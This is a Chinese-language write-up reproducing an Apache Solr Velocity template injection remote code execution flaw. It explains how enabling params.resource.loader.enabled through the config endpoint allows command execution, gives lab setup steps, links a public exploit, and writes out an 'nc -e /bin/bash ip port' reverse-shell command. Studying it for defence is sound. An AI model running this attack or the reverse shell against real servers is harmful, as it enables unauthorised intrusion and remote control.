Solr是一个独立的企业级搜索应用服务器,它对外提供类似于web-service的API接口,用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引,也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。
近日,国外安全研究员s00py公开了一个Apache Solr的Velocity模板注入的漏洞.该漏洞可以攻击最新版本的Solr.目前该漏洞利用详情已经广泛流传于Github以及各大安全群,且公开的EXP可以执行任意命令并自带回显.官方暂未发布补丁
漏洞产生原因:
当攻击者可以直接访问Solr控制台时,可以通过发送类似/节点名/config的POST请求对该节点的配置文件做更改
Apache Solr默认集成VelocityResponseWriter插件,在该插件的初始化参数中的params.resource.loader.enabled这个选项是用来控制是否允许参数资源加载器在Solr请求参数中指定末班,默认设置是false
当设置params.resource.loader.enabled为ture时,将允许用户通过设置请求中的参数来指定相关资源加载,这也就意味着攻击者可以通过构造一个具有威胁的攻击请求,在服务器上进行命令执行
编号:暂无漏洞威胁等级:高危影响范围:包括但不限于8.2.0(最新版本)漏洞复现:
方法一:
下载最新的Solr
下载地址:https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/8.2.0/solr-8.2.0.zip
解压以后,进入solr-8.1.0/bin目录
使用./solr -e dih -force开启示例app
随后访问http://127.0.0.1:8983/solr/#/进入主界面
点击左侧的Core Selector查看集合名称
注意:漏洞需要Content-Type为application/json
反弹shell:
可以反弹shell,使用nc命令:
nc -e /bin/bash ip port成功反弹shell
反弹shell命令linux下反弹shell的几种方式
方法二:使用vlhub中的CVE2019-0193环境进行搭建。漏洞启动参照:CVE-2019-11043 Nginx PHP 远程代码执行漏洞复现
复现步骤如上同
poc下载:https://github.com/wyzxxz/Apache_Solr_RCE_via_Velocity_template
Apache Solr Velocity模板远程代码执行复现